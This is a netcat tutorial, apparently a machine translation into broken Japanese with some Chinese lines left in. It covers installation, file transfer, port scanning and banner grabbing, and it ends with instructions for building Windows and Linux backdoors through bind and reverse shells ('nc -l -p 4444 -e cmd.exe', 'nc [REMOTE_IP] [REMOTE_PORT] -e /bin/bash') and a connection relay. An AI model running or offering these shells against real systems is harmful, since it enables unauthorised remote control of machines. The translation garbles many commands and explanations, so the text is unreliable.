centos7ダウンロードNC:
wgetのhttps://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz
タール-zxvfのnetcat-0.7.1.tar.gzを解凍
CDは/ usr / local
MVのnetcat-0.7.1のnetcat
CDは/ usr / local / netcatを
。/構成、設定
コンパイルメイク
make installをインストールします。
構成のvim / etc / profileを
次の行を追加します。
*#セットnetcatをパス
輸出NETCAT_HOME =は/ opt / netcatを
輸出PATH = NETCAT_HOME / binに
保存は、終了し、設定を有効にします:
ソースは/ etc / profile
テスト
NC -help成功
BASE64変換
端子と入力に変換目標値入力BASE64
BASE64の
dangtianpengを
押した後には、CTRL + Dを得るために、入力します
ベースのTCP / IPプロトコル(C / Sモデル)
クライアントにデータを送信するサーバー
情報を転送する:
サーバ側の方法の作成:
NC -l -p localPortでは
NC -l -p 333(サーバIP:1.1.1.1)
创建一个客户端方法(连接服务端)
nc [remote_addr] [remoteport]
nc -nv 1.1.1.1 333
戻り値は、シェル
サーバ作成方法:
-l -p NC [localPortでは] -e CMD.EXE
创建一个客户端方法(连接服务器端)
nc [remote_addr][remoteport]
NCデータ伝送、標準入出力ストリームの使用は、あなたが直接コマンドライン操作を使用することができます。
使用するファイル転送方法は:
サーバ側のメソッドを作成する:(サーバーがファイルを受信する)
NC -l -p [localPortでは]> Outfile.txtを
NC 333 -l -p> Outfile.txtを
クライアント(ファイル転送)を作成
NC [REMOTE_ADDR ] [次に、remoteport </root/Desktop/flag.txt
この時点では、サーバーが接続する準備ができていなかった、とクライアントが接続するために、NCを使用している場合、
クライアントは「仮死」状態の一種で、その結果、サーバーの接続ことを知って、いつまでも待ちます
待機時間を設定します。解決策は
NC -w3 [IP]、[ポート]は待機時間は3秒、3秒後に、クライアント近い接続です設定しました
netcatを情報検出
- ターゲットネットワークスキャン
- ターゲットポートの簡単な検出
- サービスバナー目標クロール
ポートは、使用してスキャン
NCは-Z -W1 [target_ip] [start_target_port-stop_target_port] -N -v
エラー出力の-v詳細な表現
機械DNS解決標的ない-n
、ポートスキャンに専用ゼロI / Oモード-Zを表し任意のペイロードが含まれていないターゲット表により送信されたIPデータは、
スキャンやってスピードを加速することができる
1秒のタイムアウトを-w1
バナー抓取
エコー「」| NC -v -n -w1 [target_ip] [start_target_port-stop_target_port]
取得対象のコマンドが実行権限を
ウィンドウには、バックドアの方法を確立しました。
- モニタータイプバックドア
NC -l -p 4444 -e cmd.exeの - バックドア接続タイプ
NC [REMOTE_IP] [REMOTE_PORT] -e CMD.EXE
Linuxのバックドア確立する方法
:1.バックドアモニタータイプ
NC -l -p 4444 -e / binに/ bashの
2バックドア接続型
NC [REMOTE_IP] [REMOTE_PORT] -e / binに/ bashのを
コマンドパラメータ
ビュー-hパラメータコマンド
コマンドウィンドウから、バックグラウンドで実行が-d
プログラムを実行し、確立されたバックドア-eは、
画期的な制限-Gネットワークで使用される、ゲートウェイを設定
ホップ-gルーティング
データ間隔-iの各行設定を
セットのnetcat接続-lを待っているリスニング状態で
クライアントが開いたときに、接続を待っている状態をリスニングにセットnetcatを、サーバがまだ待ち状態-Lに戻り
、セットのnetcatは、IPアドレス、もはや-n DNS解決を識別
していない転送の16進数を-oデータは、
ローカルリスニングポート番号-p設定
-r無作為ポート番号netcatを設けたが、
-s netcatをソースアドレス設け
返信要求パケット-tテルネット
のnetcat -u UDPモード(TCPのnetcatをデフォルトモード)を使用して提供される
ディスプレイ-vエラーメッセージが
-w秒でタイムアウトに接続して設けられた
スキャンモードを設定し、データが送信されたパケットが含まれていない表すペイロード-Z
接続の転送は
、いくつかの特別な場合に対処するために、特定の特殊な状況での接続制限を破るためにある
エコーNC [対象] [ポート]> delay.bat
NC -l -p [localPortでは] -e delay.bat
ときサービスへのクライアント接続最後に、クライアントの接続とポートフォワーディング機能を経由してターゲットサーバへの接続は、接続を達成するとき。()